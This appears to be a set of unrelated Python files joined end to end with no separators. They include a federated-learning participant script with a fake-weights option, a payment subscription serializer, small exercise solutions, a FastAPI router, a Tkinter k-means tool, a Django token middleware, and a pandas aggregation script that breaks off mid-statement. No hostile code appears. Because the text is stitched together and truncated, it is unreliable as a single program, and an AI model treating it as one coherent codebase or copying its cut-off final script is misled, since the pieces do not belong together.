"""
This script is a simple example for the local federated training in the dummy ML task
"""
import argparse
import json
import os
import sys
import time
from pathlib import Path

from numpy.random import rand
from web3 import HTTPProvider, Web3

from watchdog.observers import Observer

from decentralized_smart_grid_ml.contract_interactions.announcement_configuration import AnnouncementConfiguration
from decentralized_smart_grid_ml.federated_learning.federated_local_trainer import FederatedLocalTrainer
from decentralized_smart_grid_ml.federated_learning.models_reader_writer import load_fl_model_weights, \
    save_fl_model_weights
from decentralized_smart_grid_ml.handlers.participant_handler import ParticipantHandler
from decentralized_smart_grid_ml.utils.bcai_logging import create_logger
from decentralized_smart_grid_ml.utils.config import BLOCKCHAIN_ADDRESS, ANNOUNCEMENT_JSON_PATH, \
    get_addresses_contracts, PROJECT_ABSOLUTE_PATH

logger = create_logger(__name__)

class FakeFederatedLocalTrainer(FederatedLocalTrainer):
    """ This class is responsible for the creation of fake weights for the
    local participant's model """

    def fit_local_model(self, path_file_created):
        if path_file_created is not None:
            # try to load the aggregated new baseline model and start the local training
            round_baseline_model = Path(path_file_created).stem[-1]
            try:
                if int(round_baseline_model) == self.current_round:
                    aggregated_weights = load_fl_model_weights(path_file_created)
                    fake_weights = []
                    for weights in aggregated_weights:
                        fake_weights.append(rand(*weights.shape))
                    self.local_model.set_weights(fake_weights)
                else:
                    logger.warning(
                        "The path %s does not correspond to the current round (%d), Skipping...",
                        path_file_created, self.current_round
                    )
            except ValueError:
                logger.warning(
                    "Malformed path %s, Skipping...",
                    path_file_created
                )
                return self.is_finished
        else:
            # first round: the baseline model is in global_model_path
            aggregated_weights = self.local_model.get_weights()
            fake_weights = []
            for weights in aggregated_weights:
                fake_weights.append(rand(*weights.shape))
            self.local_model.set_weights(fake_weights)
        local_model_weights_path = os.path.join(
            self.local_model_weights_path,
            "weights_round_" + str(self.current_round) + ".json"
        )
        output_folder = Path(self.local_model_weights_path)
        output_folder.mkdir(parents=True, exist_ok=True)
        self.rounds2history[self.current_round] = None
        logger.info("Participant %s: end FL round %s", self.participant_id, self.current_round)
        self.current_round += 1
        save_fl_model_weights(self.local_model, local_model_weights_path)
        self.is_finished = self.current_round == self.announcement_config.fl_rounds
        return self.is_finished

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--contract_info_path',
        dest='contract_info_path',
        metavar='contract_info_path',
        type=str,
        help="File path to the json file that contains announcement's contract information",
        required=True
    )
    parser.add_argument(
        '--participant_id',
        dest='participant_id',
        metavar='participant_id',
        type=int,
        help='The participant identifier',
        required=True
    )
    parser.add_argument(
        '--validator_directory_path',
        dest='validator_directory_path',
        metavar='validator_directory_path',
        type=str,
        help='The path to the directory that contains the aggregated baseline models for each round',
        required=True
    )
    parser.add_argument(
        '--use_fake_weights',
        dest='use_fake_weights',
        action='store_true',
        help="Flag used to indicates if you want to use fake weights",
        default=False
    )

    args = parser.parse_args()
    logger.info("Starting participant script")

    announcement_contract_address, dex_contract_address = get_addresses_contracts(args.contract_info_path)

    # Client instance to interact with the blockchain
    web3 = Web3(HTTPProvider(BLOCKCHAIN_ADDRESS))
    logger.info("Connected to the blockchain %s", BLOCKCHAIN_ADDRESS)

    with open(ANNOUNCEMENT_JSON_PATH) as file:
        contract_json = json.load(file)  # load contract info as JSON
        contract_abi = contract_json['abi']  # fetch contract's abi - necessary to call its functions

    # Fetch deployed contract reference
    contract = web3.eth.contract(address=announcement_contract_address, abi=contract_abi)
    logger.info("Fetched contract %s", announcement_contract_address)

    # automatically takes the idx + 1address
    participant_address = web3.eth.accounts[args.participant_id + 1]

    # subscribe in the task
    contract.functions.subscribe().transact({'from': participant_address})

    participant_id = contract.functions.getParticipantId().call({'from': participant_address})
    logger.info("The id of the participant is %s", participant_id)

    # extract the Announcement information from the smart contract
    announcement_configuration = AnnouncementConfiguration.retrieve_announcement_configuration(
        participant_address, contract
    )

    participant_directory_path = os.path.join(
        PROJECT_ABSOLUTE_PATH + "/data_sample/",
        announcement_configuration.task_name,
        "participants",
        "participant_" + str(participant_id)
    )

    local_dataset_path = os.path.join(
        participant_directory_path,
        announcement_configuration.task_name + "_" + str(participant_id) + ".csv"
    )

    maximum_number_participants = contract.functions.maxNumberParticipant().call({"from": participant_address})
    isStarted = False

    while not isStarted:
        number_participants = contract.functions.currentNumberParticipant().call({"from": participant_address})
        if number_participants != maximum_number_participants:
            logger.info("We need to wait that other participants subscribe to the task")
            time.sleep(2)
        else:
            isStarted = True

    time.sleep(2)
    logger.info("Starting participant federated learning")

    if args.use_fake_weights:
        federated_local_trainer = FakeFederatedLocalTrainer(
            participant_id,
            announcement_configuration,
            local_dataset_path,
            participant_directory_path
        )
    else:
        federated_local_trainer = FederatedLocalTrainer(
            participant_id,
            announcement_configuration,
            local_dataset_path,
            participant_directory_path
        )

    federated_local_trainer.fit_local_model(None)

    participant_handler = ParticipantHandler(federated_local_trainer)
    participant_observer = Observer()
    participant_observer.schedule(participant_handler, args.validator_directory_path, recursive=True)
    # start the observer
    logger.info("Starting the observer for the participant %s", participant_id)
    participant_observer.start()
    try:
        while not federated_local_trainer.is_finished:
            time.sleep(1)
    except KeyboardInterrupt as e:
        # stop and join the observer
        participant_observer.stop()
        participant_observer.join()
        logger.exception(e)
        logger.error("The participant %s did not completed his work", participant_id)
        sys.exit(-1)

    statistics_output_path = os.path.join(
        participant_directory_path,
        "statistics.json"
    )
    federated_local_trainer.write_statistics(statistics_output_path)

    logger.info("The participant %s terminated his work with success", participant_id)
    sys.exit(0)


from libs.utils.datetime import datetime_to_date_str
class SubscribeSerializer:

    def __init__(self, user, plan_subscription, credit_card, ip: str) -> None:
        self.user = user
        self.plan_subscription = plan_subscription
        self.credit_card = credit_card
        self.ip = ip

    def get_sender_phone(self, user) -> dict:

        return {
            "areaCode": user.phone.area_code,
            "number": user.phone.number,
        }

    def get_sender_address(self, user) -> dict:
        return {
            "street": user.address.street,
            "number": user.address.number,
            "complement": user.address.complement,
            "district": user.address.district,
            "city": user.address.city,
            "state": user.address.state,
            "country": user.address.country,
            "postalCode": user.address.postal_code,
        }

    def get_plan_code(self, plan) -> str:
        return plan.pagseguro_plan_id

    def get_subscription_reference(self, plan_subscription) -> str:
        return str(plan_subscription.pk)

    def get_sender(self, user, credit_card, ip: str) -> dict:
        return {
            "name": credit_card.holder_name,
            "email": user.email,
            "ip": ip,
            "phone": self.get_sender_phone(user=user),
            "address": self.get_sender_address(user=user),
            "documents": [
                {
                    "type": "CPF",
                    "value": credit_card.cpf
                }
            ]
        }

    def get_payment_method(self, user, credit_card) -> dict:
        return {
            "type": "CREDITCARD",
            "creditCard": {
                "token": credit_card.token,
                "holder": {
                    "name": credit_card.holder_name,
                    "birthDate": datetime_to_date_str(date=credit_card.holder_birth_date),
                    "documents": [
                        {
                            "type": "CPF",
                            "value": credit_card.cpf
                        }
                    ],
                    "phone": self.get_sender_phone(user=user),
                }
            }
        }

    def json(self) -> dict:
        data = {
            "plan": self.get_plan_code(plan=self.plan_subscription.plan),
            "reference": self.get_subscription_reference(plan_subscription=self.plan_subscription),
            "sender": self.get_sender(user=self.user, credit_card=self.credit_card, ip=self.ip),
            "paymentMethod": self.get_payment_method(user=self.user, credit_card=self.credit_card)
        }
        return data


### This can parse the CSV

import csv

## Constants defined for file operations
READ = "r"
WRITE = "w"
APPEND = "a"
READWRITE = "w+"
BINARY = "b"

#Data came from https://github.com/justmarkham/pandas-videos
filename = "c:\\dan\\how_to\\python\\data\\ufo.csv"

column0 = []
column1 = []
column2 = []
column3 = []
column4 = []

with open( filename ,READ ) as csvfile:

    readCSV = csv.reader(csvfile, delimiter=',')

#    fields_count = len ( list( readCSV)[1])

	# skip the first row -- contains headers
    next (readCSV)

    for row in readCSV:

		#Each subscrpted position in "row" is the next delimited field, numbered 0 to 4
        column0.append ( row [0])
        column1.append ( row [1])
        column2.append ( row [2])
        column3.append ( row [3])
        column4.append ( row [4])

#print ( fields_count )

print ( column0 )
print ( column1 )
print ( column2 )
print ( column3 )
print ( column4 )


""" 20 - Valid Parentheses
Given a string s containing just the characters
'(', ')', '{', '}', '[' and ']',
determine if the input string is valid.

An input string is valid if:
1. Open brackets must be closed by the same type of brackets.
2. Open brackets must be closed in the correct order.
3. Every close bracket has a corresponding open bracket of the same type.

"""
def solution(s: str) -> bool:
    stack = []
    matches = {
        ")": "(",
        "}": "{",
        "]": "["
    }

    # Odd number of chars is instant fail
    if len(s)%2 == 1:
        return False

    for ch in list(s):
        # Close Value
        if ch in matches.values():
            stack.append(ch)
            continue

        # Open Value
        open_ch = matches[ch]
        if open_ch in stack and open_ch == stack[-1]:
            stack.pop()
        else:
            return False

    return len(stack) == 0

# Optimized, time: O(n) space: O(n)
def optimized_solution(s: str) -> bool:
    stack = []
    matches = {
        ")": "(",
        "}": "{",
        "]": "["
    }

    if len(s)%2 == 1:
        return False

    for ch in list(s):
        # Closer
        if ch in matches:
            if stack and matches[ch] == stack[-1]:
                stack.pop()
            else:
                return False
        # Opener
        else:
            stack.append(ch)

    return len(stack) == 0

if __name__ == "__main__":
    EXAMPLES = [
        '()',
        '()[]{}',
        '(]'
    ]

    for example in EXAMPLES:
        sol = f"""
Example: {example}
Solution:  {solution(example)}
Optimized: {optimized_solution(example)}
"""
        print(sol)


from unittest.mock import MagicMock

from source_rki_covid.source import SourceRkiCovid

def test_check_connection(mocker):
    source = SourceRkiCovid()
    logger_mock, config_mock = MagicMock(), MagicMock()
    assert source.check_connection(logger_mock, config_mock) == (True, None)

def test_streams(mocker):
    source = SourceRkiCovid()
    config_mock = MagicMock()
    streams = source.streams(config_mock)
    expected_streams_number = 16
    assert len(streams) == expected_streams_number


# -*- coding: utf-8 -*-
"""
Created on Thu Dec  1 18:09:02 2022

@author: Przemek
"""

sample = list(open("input.txt","r"))

#sample = ["1","2","3","6","\n","4","5", "\n","21", "100","\n"]
calories = 0
calorielist = []
for item in sample:
    if item != "\n":
        #print(calories, "przed petla")
        calories = calories + int(item)
        #print(calories, "po petli")
    else:
        #print(calories, "suma pierwszej")
        calorielist.append(calories)
        #print(calorielist, "LISTA Z KALORIAMI")
        calories = 0
#print(index(max(calorielist)))
print(max(calorielist),"elve with most calories")
calorielist.sort(reverse = True)
suma = calorielist[0]+calorielist[1] + calorielist[2]
print(suma, "sum of 3 top elves")

"""
pierwszy=(max(calorielist))
print(pierwszy, "1 wartosc")
print(calorielist.index(pierwszy))
delpierwszy = calorielist.index(pierwszy)
del calorielist[delpierwszy]
drugi=(max(calorielist))
print(drugi, "2 wartosc")
deldrugi = calorielist.index(drugi)
del calorielist[deldrugi]
print(max(calorielist), "3 wartosc")
trzeci = max(calorielist)
suma = pierwszy + drugi + trzeci
print(suma)

#for i in input:
"""


from __future__ import print_function
from __future__ import division

import sys, os
import numpy as np

import cellconstructor as CC
import cellconstructor.Phonons

from matplotlib.pyplot import *

import sscha, sscha.Ensemble

def test_dynamical_bubble():
    # Switch to the local directory
    total_path = os.path.dirname(os.path.abspath(__file__))
    os.chdir(total_path)

    SUPERCELL = (1,1,1)
    T = 0
    N_RANDOM = 1000
    POPULATION = 2

    # Load the dynamical matrix
    dyn = CC.Phonons.Phonons("../ensemble_data_test/dyn", 1)

    # Load the ensemble
    ens = sscha.Ensemble.Ensemble(dyn, T, SUPERCELL)
    ens.load("../ensemble_data_test", POPULATION, N_RANDOM)

    # Add the symmetrization of the ensemble
    ens.unwrap_symmetries()

    # Compute the static bubble
    q_gamma = np.zeros(3, dtype = np.float64)
    static_bubble = ens.get_dynamical_bubble(q_gamma, 0)

    # Add the bubble to the dynamical matrix
    odd_dyn = dyn.Copy()
    odd_dyn.dynmats[0] += static_bubble

    # Save the new dynamical matrix
    odd_dyn.save_qe("static_dyn")

    w_dyn, p = odd_dyn.DyagDinQ(0)

    # Get the standard static correction
    odd_corr = ens.get_odd_correction()
    odd_dyn.dynmats[0] = odd_corr

    w_odd, p = odd_dyn.DyagDinQ(0)

    # Compare the frequencies
    print ("\n".join(["%16.8f  | %16.8f cm-1" % (w_dyn[x] * CC.Phonons.RY_TO_CM, w_odd[x] * CC.Phonons.RY_TO_CM) for x in range(len(w_dyn))]))

    print ()

    # Now get the spectral function
    w_s = np.linspace(0, 3500, 10)
    nat = dyn.structure.N_atoms
    spectral_function = np.zeros(len(w_s), dtype = np.float64)
    I = np.eye(3*nat, dtype  = np.complex128)

    self_energies = ens.get_dynamical_bubble(q_gamma, w_s/CC.Phonons.RY_TO_CM, smearing = 10/CC.Phonons.RY_TO_CM)

    # Get the mass array
    m = dyn.structure.get_masses_array()
    m = np.tile(m, (3, 1)).T.ravel() # Stretch in a 3*nat array
    for i,_w_ in enumerate(w_s):
        w = _w_ / CC.Phonons.RY_TO_CM

        # Get the dynamical force constant
        new_dyn = dyn.dynmats[0] + self_energies[i]

        # Convert in a dynamical matrix
        new_dyn /= np.sqrt(np.einsum("a,b", m, m))

        g_minus_one = w**2 * I - new_dyn

        green_matrix = np.linalg.inv(g_minus_one)
        # - Im Tr(G)
        spectral_function[i] = np.einsum("aa", -np.imag(green_matrix))

        if i % 5 == 0:
            sys.stdout.write("\rStatus %d %%" %( i * 100 / len(w_s)))
    print ()

    # Plot the spectral function
    figure(dpi = 170)
    title("Spectral function")
    xlabel("Frequency [cm-1]")
    ylabel("Spectral function")
    plot(w_s, spectral_function)
    tight_layout()

if __name__ == "__main__":
    test_dynamical_bubble()
    show()


from fastapi import APIRouter, Depends, HTTPException
import uuid
from classes.schema_dto import Standing, StandingNoID
from database.firebase import db
from routers.router_auth import get_current_user

router = APIRouter(
    tags=['Standings']
)

@router.get('/standing/{team_id}', response_model=Standing)
async def get_standing_by_teamid(team_id: uuid.UUID, userData: int = Depends(get_current_user)):
    fireBaseobject = db.child('standings').child(userData['uid']).child('standing').child(str(team_id)).get(userData['idToken']).val()
    if fireBaseobject is not None:
        return fireBaseobject
    raise HTTPException(status_code= 404, detail="Team Standing not found")

# @router.post('/standing', response_model=Standing, status_code=201)
# async def create_standing(givenStanding: StandingNoID, userData: int = Depends(get_current_user)):
    # generatedId=uuid.uuid4()
    # newStanding= Standing(id=str(generatedId), name = givenStanding.name, competition = givenStanding.competition, wins = givenStanding.wins, losses = givenStanding.losses, draws = givenStanding.draws, points= givenStanding.points, place = givenStanding.place)
    # db.child('standings').child(userData['uid']).child("standing").child(str(generatedId)).set(newStanding.dict(), token=userData['idToken'])
    # return newStanding

@router.patch('/standings/{team_id}', status_code=204)
async def modify_team_standing(team_id:str, modifiedStanding: StandingNoID, userData: int = Depends(get_current_user)):
    fireBaseobject = db.child('matchs').child(userData['uid']).child('match').get(userData['idToken']).val()
    if fireBaseobject is not None:
        updatedStanding = Standing(id=str(team_id), **modifiedStanding.dict())
        return db.child('standings').child(userData['uid']).child('standing').child().update(updatedStanding.dict(), userData['idToken'])
    raise HTTPException(status_code= 404, detail="Standing not found")


import random
import numpy
from tkinter import *
from PIL import ImageTk, Image
import random

root = Tk()
root.title("K-Means")
root.geometry("740x580+800+300")

photo = ImageTk.PhotoImage(file='./TestImage.jpg')
label1 = Label(root, image=photo)
label2 = Label(root, text="클러스터 개수 : ")
text = Text(root, height=2,width=5)

label1.pack()
label2.pack()
text.pack()

class Cluster(object):

    def __init__(self):
        self.pixels = []
        self.centroid = None

    def addPoint(self, pixel):
        self.pixels.append(pixel)

    def setNewCentroid(self):

        R = [colour[0] for colour in self.pixels]
        G = [colour[1] for colour in self.pixels]
        B = [colour[2] for colour in self.pixels]

        R = int(sum(R) / len(R))
        G = int(sum(G) / len(G))
        B = int(sum(B) / len(B))

        self.centroid = (R, G, B)
        self.pixels = []

        return self.centroid

class Kmeans(object):

    def __init__(self, k=3, max_iterations=5, min_distance=5.0, size=200):
        self.k = int(text.get(1.0, END+"-1c"))
        self.max_iterations = max_iterations
        self.min_distance = min_distance
        self.size = (size, size)

    def run(self, image):
        self.image = image
        self.image.thumbnail(self.size)
        self.pixels = numpy.array(image.getdata(), dtype=numpy.uint8)

        self.clusters = [None for i in range(self.k)]
        self.oldClusters = None

        randomPixels = random.sample(list(self.pixels), self.k)

        for idx in range(self.k):
            self.clusters[idx] = Cluster()
            self.clusters[idx].centroid = randomPixels[idx]

        iterations = 0

        while self.shouldExit(iterations) is False:

            self.oldClusters = [cluster.centroid for cluster in self.clusters]

            for pixel in self.pixels:
                self.assignClusters(pixel)

            for cluster in self.clusters:
                cluster.setNewCentroid()

            iterations += 1

        return [cluster.centroid for cluster in self.clusters]

    def assignClusters(self, pixel):
        shortest = float('Inf')
        for cluster in self.clusters:
            distance = self.calcDistance(cluster.centroid, pixel)
            if distance < shortest:
                shortest = distance
                nearest = cluster

        nearest.addPoint(pixel)

    def calcDistance(self, a, b):

        result = numpy.sqrt(sum((a - b) ** 2))
        return result

    def shouldExit(self, iterations):

        if self.oldClusters is None:
            return False

        for idx in range(self.k):
            dist = self.calcDistance(
                numpy.array(self.clusters[idx].centroid),
                numpy.array(self.oldClusters[idx])
            )
            if dist < self.min_distance:
                return True

        if iterations <= self.max_iterations:
            return False

        return True

    def showClustering(self):

        localPixels = [None] * len(self.image.getdata())

        for idx, pixel in enumerate(self.pixels):
                shortest = float('Inf')
                for cluster in self.clusters:
                    distance = self.calcDistance(cluster.centroid, pixel)
                    if distance < shortest:
                        shortest = distance
                        nearest = cluster

                localPixels[idx] = nearest.centroid

        w, h = self.image.size
        localPixels = numpy.asarray(localPixels)\
            .astype('uint8')\
            .reshape((h, w, 3))

        colourMap = Image.fromarray(localPixels)
        colourMap.show()

def GetEditedImage():

    image = Image.open("./TestImage.jpg")

    k = Kmeans()

    result = k.run(image)

    k.showClustering()

run_btn = Button(root, padx = 20, text="실행" , command=GetEditedImage)
run_btn.pack()

root.mainloop()


def leer():
    archivo = open("file.txt", "r")
    print(archivo.read() + "\n")
    archivo.close()

    main()

def escribir():
    archivo = open("file.txt", "w")
    texto = input("Escriba lo que desee introducir: ")
    archivo.write(texto)
    archivo.close()
    archivo = open("file.txt", "r")
    print(archivo.read())
    archivo.close()

    main()

def main():
    print("Elija entre las siguientes opciones: \n 1) Leer el archivo \n 2) Escribir en el archivo")
    opcion = input()
    if opcion == "1":
        leer()
    elif opcion == "2":
        escribir()

    else:
        main()

main()


# Задание-1:
# Напишите функцию, возвращающую ряд Фибоначчи с n-элемента до m-элемента.
# Первыми элементами ряда считать цифры 1 1

def fibonacci(n, m):
    result = []
    last = 0
    next = 1
    for i in range(m + 1):
        if i >= n: result.append(next)
        last, next = next, next + last
    return result

# Задача-2:
# Напишите функцию, сортирующую принимаемый список по возрастанию.
# Для сортировки используйте любой алгоритм (например пузырьковый).
# Для решения данной задачи нельзя использовать встроенную функцию и метод sort()

def sort_to_max(origin_list):
    result = origin_list[:]
    for i in range(1, len(origin_list)):
        j = i
        while (result[j] < result[j - 1]) and (j > 0):
            result[j], result[j - 1] = result[j - 1], result[j]
            j -= 1
    return result

sort_to_max([2, 10, -12, 2.5, 20, -11, 4, 4, 0])

# Задача-3:
# Напишите собственную реализацию стандартной функции filter.
# Разумеется, внутри нельзя использовать саму функцию filter.

def my_filter(func, iter):
    result = []
    for i in iter:
        if func(i):
            result.append(i)
    return result

# Задача-4:
# Даны четыре точки А1(х1, у1), А2(x2 ,у2), А3(x3 , у3), А4(х4, у4).
# Определить, будут ли они вершинами параллелограмма.

def is_paralelogramm(a1, a2, a3, a4):
    def point_in_center(a, b):
        return ((a[0] + b[0]) / 2, (a[1] + b[1]) / 2)

    if a1 == a3:
        return False
    return point_in_center(a1, a3) == point_in_center(a2, a4)


import logging
from typing import Awaitable, Optional, Union

from channels.db import database_sync_to_async
from channels.sessions import CookieMiddleware, SessionMiddleware
from django.contrib.auth.models import AnonymousUser, User
from django.db import close_old_connections
from rest_framework.authtoken.models import Token

@database_sync_to_async
def get_user(token_key: Optional[str]) -> Union[Awaitable[User], AnonymousUser]:
    if token_key:
        try:
            token = Token.objects.get(key=token_key)
            close_old_connections()
            return token.user
        except Token.DoesNotExist:
            logging.error(f"Someone is trying to use a non-existing token: {token_key}")
    return AnonymousUser()

class TokenAuthMiddleware:
    """
    Token authorization middleware for Django Channels 3
    """

    def __init__(self, inner):
        self.inner = inner

    async def __call__(self, scope, receive, send):
        cookies = scope.get('cookies', {})
        token_key = cookies.get("token", None)
        scope["user"] = await get_user(token_key)
        return await self.inner(scope, receive, send)

def TokenAuthMiddlewareStack(inner):
    return CookieMiddleware(SessionMiddleware(TokenAuthMiddleware(inner)))


#!/usr/bin/env python3
import argparse
import os
from colorama import init
from termcolor import colored
from lib import *

def look_for_elements(name, origin, type):
    result = [] # It will store the paths of the files found.
    try:
        elements = os.listdir(origin)
    except PermissionError:
        return result

    for element in elements:
        if (os.path.isfile(os.path.join(origin, element)) and type == "file" or type == "both") and element == name:
            result.append(os.path.join(origin, element))

        elif os.path.isdir(os.path.join(origin, element)):

            # Add folders as well
            if  type == "dir" or type == "both" and element == name:
                result.append(os.path.join(origin, element))

            result2 = look_for_elements(name, os.path.join(origin, element), type)

            # Append the results from the other directories
            for r in result2:
                result.append(r)

    return result

def main():
    parser = argparse.ArgumentParser()

    parser.add_argument("file", type=str,help="File to look for")
    parser.add_argument("-o", "--origin", type=str, required=False, default=os.getcwd(), help="Directory where the search will start")
    parser.add_argument("-t", "--type", type=str, required=False, default="both", help="The type of the element to look for. (file, directory or both)")
    arguments = parser.parse_args()

    # Turn the origin path into an absolute path
    arguments.origin = os.path.abspath(arguments.origin)

    if not arguments.type in ["file", "directory", "both"]:
        error("Invalid element type to look for.", "(it can only be 'file/directory/both')")

    elif not os.path.isdir(arguments.origin):
        error(f"The origin directory its not a directory or doesn't exist: '{arguments.origin}'")

    else:
        result = look_for_elements(arguments.file, arguments.origin, arguments.type)

        t = table(["Index", "Name", "Type"])
        for index, x in enumerate(result):
            type = "UNKNOWN"
            if os.path.isfile(x):
                type = "FILE"

            elif os.path.isdir(x):
                type = "DIRECTORY"

            else:
                type = "SYMBOLIC LINK"

            t.addContent([index+1, x, type])

        t.printTable()

if __name__ == "__main__":
    main()


#!/usr/bin/python3

count = 0
good = 0

triangles = []

with open('03.txt') as f:
    for line in f:
        triangle = [int(x) for x in line.split()]
        triangles.append(triangle)

for y in range(0, len(triangles), 3):
    for x in range(3):
        triangle = [triangles[y][x], triangles[y+1][x], triangles[y+2][x]]
        triangle.sort()
        if sum(triangle[0:2]) > triangle[2]:
            good += 1
        count += 1

print(good, count)


import Graphics.gui as gui
import clickManager
import player
import playingField
import Graphics.messenger as messenger

class TicTacToe:
    @staticmethod
    def play_single_player(player_one_name):
        bot_name = "Bot Player"
        board = Board(player_one_name, bot_name)
        player1 = player.Player(player_one_name, "Cross", board, start=True)
        player2 = player.Bot(bot_name, "Circle", board, start=False)
        player1.set_opponent(player2)
        player2.set_opponent(player1)
        cm = clickManager.ClickManager(board, player1, player2)
        player2.add_click_manager(cm)

        board.gui.mainloop()

    @staticmethod
    def play_double_player(player_name):
        board = Board(player_name, "Waiting for opponent")
        play = player.MultiPlayer(player_name, board)
        board.add_multi_player(play)

        board.gui.mainloop()

class Board:
    def __init__(self, name1, name2):
        self.playing_field = playingField.PlayingField()
        self.gui = gui.Board(self)
        self.gui.bottom_frame.set_player_names(name1, name2)
        self.multi_player = None

    def add_multi_player(self, player):
        self.multi_player = player

    def reset(self, rematch=False):
        if self.multi_player is not None and not rematch:
            self.multi_player.client.send_change_field_request()
        else:
            num = self.gui.playing_field.restart()
            self.playing_field.initialize_field(num)

    def handle_the_end(self, text="It is draw!", send_to_server=False):
        if messenger.SendToUser.ask_for_new_game(text):
            self.reset(rematch=True)
            return False
        else:
            if send_to_server:
                return True
            exit(0)

    @staticmethod
    def handle_wrong_input():
        messenger.SendToUser.error("Wrong input! Number should be a number between 3 and 5")


import os.path

import pandas as pd
import numpy as np

DATA_DIR = os.path.abspath("data")
DIGEST_DIR = os.path.abspath("digest_data")
EXTENSIONS = ["tsv", "txt"]

# get project filenames
project_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("project")]
# get publication file filenames
publication_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("publication")]
# get clinical trial filenames
clinical_trial_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("clinical_trial")]
# get sra filenames
sra_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("sra")]
# get geo filesnames
geo_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("geo")]
# get dbgap filenames
dbgap_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("dbgap")]
# get patent filenames
patent_files = [f for f in os.listdir(DATA_DIR) if os.path.isfile(DATA_DIR+"/"+f) and f.split(".")[1] in EXTENSIONS and f.startswith("patent")]

# load and consolidate data in all publication files
df_project = None
for file in project_files:
    if df_project is None:
        df_project = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_project = pd.concat([df_project, df_temp]).drop_duplicates().reset_index(drop=True)

# load and consolidate data in all publication files
df_publication = None
for file in publication_files:
    if df_publication is None:
        df_publication = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_publication = pd.concat([df_publication, df_temp]).drop_duplicates().reset_index(drop=True)

# load and consolidate data in all clinical trial files
df_clinical_trials = None
for file in clinical_trial_files:
    if df_clinical_trials is None:
        df_clinical_trials = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_clinical_trials = pd.concat([df_clinical_trials, df_temp]).drop_duplicates().reset_index(drop=True)

# load and consolidate data in all sra files
df_sra = None
for file in sra_files:
    if df_sra is None:
        df_sra = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_sra = pd.concat([df_sra, df_temp]).drop_duplicates().reset_index(drop=True)

# load and consolidate data in all geo files
df_geo = None
for file in geo_files:
    if df_geo is None:
        df_geo = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_geo = pd.concat([df_geo, df_temp]).drop_duplicates().reset_index(drop=True)

# load and consolidate datta in all dbgap files
df_dbgap = None
for file in dbgap_files:
    if df_dbgap is None:
        df_dbgap = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_dbgap = pd.concat([df_dbgap, df_temp]).drop_duplicates().reset_index(drop=True)

# load and consolidate data in all patent files
df_patent = None
for file in patent_files:
    if df_patent is None:
        df_patent = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
    else:
        df_temp = pd.read_csv(DATA_DIR+"/"+file, sep="\t", dtype=object)
        df_patent = pd.concat([df_patent, df_temp]).drop_duplicates().reset_index(drop=True)

df_project["publication_count"] = df_project.apply(lambda x: len(df_publication[df_publication["project.queried_project_id"] == x["queried_project_id"]]), axis=1)

df_project["geo_count"] = df_project.apply(lambda x: len(df_geo[df_geo["publication.publication_id"].isin(df_publication[df_publication["project.queried_project_id"] == x["queried_project_id"]]["publication_id"].tolist())]["accession"].unique()), axis=1)

df_project["sra_count"] = df_project.apply(lambda x: len(df_sra[df_sra["publication.publication_id"].isin(df_publication[df_publication["project.queried_project_id"] == x["queried_project_id"]]["publication_id"].tolist())]["accession"].unique()), axis=1)

df_project["dbgap_count"] = df_project.apply(lambda x: set(df_dbgap[df_dbgap["project.project_id"] == x["project_id"]]["accession"].unique().tolist()) if pd.notna(x["project_id"]) else set(), axis=1)
df_project["dbgap_count"] = df_project.apply(lambda x: len(x["dbgap_count"].union(set(df_dbgap[df_dbgap["publication.publication_id"].isin(df_publication[df_publication["project.queried_project_id"] == x["queried_project_id"]]["publication_id"].tolist())]["accession"].unique()))) if pd.notna(x["queried_project_id"]) else len(x["dbgap_count"]), axis=1)

df_project["clinical_trial_count"] = df_project.apply(lambda x: set(df_clinical_trials[df_clinical_trials["project.queried_project_id"] == x["queried_project_id"]]["clinical_trial_id"].unique().tolist()), axis=1)
df_project["clinical_trial_count"] = df_project.apply(lambda x: len(x["clinical_trial_count"].union(set(df_clinical_trials[df_clinical_trials["publication.publication_id"].isin(df_publication[df_publication["project.queried_project_id"] == x["queried_project_id"]]["publication_id"].tolist())]["clinical_trial_id"].unique()))), axis=1)

df_project["patent_count"] = df_project.apply(lambda x: len(df_patent[df_patent["project.queried_project_id"] == x["queried_project_id"]]), axis=1)

df_project["dataset_count"] = df_project[["geo_count","sra_count","dbgap_count"]].apply(sum, axis=1)

df_project["total_outputs_count"] = df_project[["publication_count","dataset_count","clinical_trial_count","patent_count"]].apply(sum, axis=1)

df_grant_count_lookup = df_project.groupby("queried_project_id", group_keys=False, as_index=False).apply(len)
df_project["grant_count"] = df_project.apply(lambda x: df_grant_count_lookup[df_grant_count_lookup["queried_project_id"] == x["queried_project_id"]].iloc[0,1], axis=1)

# stats bar
df_stats_bar = pd.DataFrame(
    data={
    "num_programs": [len(df_project["program.program_id"].unique())],
    "num_grants": [len(df_project)],
